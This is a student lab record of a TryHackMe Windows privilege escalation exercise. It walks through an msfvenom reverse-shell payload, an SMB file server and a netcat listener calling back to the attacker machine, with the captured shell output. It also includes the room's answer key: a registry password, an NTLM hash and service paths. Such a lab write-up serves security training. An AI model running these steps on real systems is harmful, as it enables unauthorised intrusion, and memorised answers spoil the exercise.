

WINDOWS PRIVILEGE ESCALATION

EXP.NO: 7

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AIM:

To walk through a variety of Windows Privilege Escalation techniques in TryHackMe platform.

Windows privilege escalation is the process of gaining higher-level permissions on a Windows system, typically moving from a low-privileged user to SYSTEM or administrator.

ALGORITHM:

1. Deploy the target machine.

- 1) Use attacker box — Provided by TryHackMe, it consists of all the required tools available for attacking.
- 2) Use OpenVpn configuration file to connect your machine (kali linux) to their network.

2. create a specific folder named “priv_tools” on attacker machine.

3. From that newly created folder, run “sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools” to start samba service on local port 445.

4. create a reverse shell using msfvenom with respective variables set. Make sure to change lhost (IP address) to kali machines IP

5. set up a listener on Kali Machine to receive reverse connections when execute previously created .exe file on target machine.

6. Access target machine using its RDP. Run the below command to access RDP from Kali Machine.

```
🔴\> xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.69.23
```

7. Once we access target windows OS successfully, open command prompt, change directory to C:\PrivEsc.

8. Download rev.exe (reverse shell) from Kali to Windows using below command.

```
c:\PrivEsc>copy \\10.13.8.55\tools\rev.exe  
1 file(s) copied.
```

9. Run the reverse shell on target to connect our netcat on kali machine.

```
c:\PrivEsc>.\rev.exe
```

10. Once we execute that exe file, we receive connection on netcat and run ‘whoami /priv’ to find the available privileges to current user.

OUTPUT:

```
kali\>  
kali\> pwd  
/home/kali/priv_tools  
kali\> sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .  
[sudo] password for kali:  
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation  
  
[*] Config file parsed  
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed  
[*] Config file parsed  
[*] Config file parsed
```

```
kali\> pwd  
/home/kali/priv_tools  
kali\> msfvenom -p windows/x64/shell_reverse_tcp -f exe lhost=10.13.8.55 lport=9090 -o rev.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 460 bytes  
Final size of exe file: 7168 bytes  
Saved as: rev.exe  
kali\>
```

```
kali\> nc -lvp 9090  
listening on [any] 9090 ...
```

```
Command Prompt  
Microsoft Windows [Version 10.0.17763.737]  
(c) 2018 Microsoft Corporation. All rights reserved.  
C:\Users\user>cd c:\PrivEsc  
c:\PrivEsc>
```

```
ff\> nc -lvnp 9090
listening on [any] 9090 ...
connect to [10.13.8.55] from (UNKNOWN) [10.10.69.23] 49918
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\PrivEsc>whoami
whoami
win-qba94kb3iof\user

c:\PrivEsc>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
-----

Privilege Name            Description                State
=====
SeShutdownPrivilege      Shut down the system      Disabled
SeChangeNotifyPrivilege  Bypass traverse checking  Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

[Answer the questions below](#)

What is the original BINARY_PATH_NAME of the daclsvc service?

C:\Program Files\DACL Service\daclservice.exe

✓ Correct Answer

What is the BINARY_PATH_NAME of the unquotedsvc service?

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

✓ Correct Answer

What was the admin password you found in the registry?

password123

✓ Correct Answer

What is the NTLM hash of the admin user?

a9fdfa038c4b75ebc76dc855dd74f0da

✓ Correct Answer

🔍 Hint

Name one user privilege that allows this exploit to work.

SeImpersonatePrivilege

✓ Correct Answer

🔍 Hint

Name the other user privilege that allows this exploit to work.

SeAssignPrimaryTokenPrivilege

✓ Correct Answer

🔍 Hint

RESULT:

Several tools have been written which help find potential privilege escalations on Windows. Four of these tools have been included on the Windows VM in the C:\PrivEsc directory:

- winPEASany.exe
- Seatbelt.exe
- PowerUp.ps1
- SharpUp.exe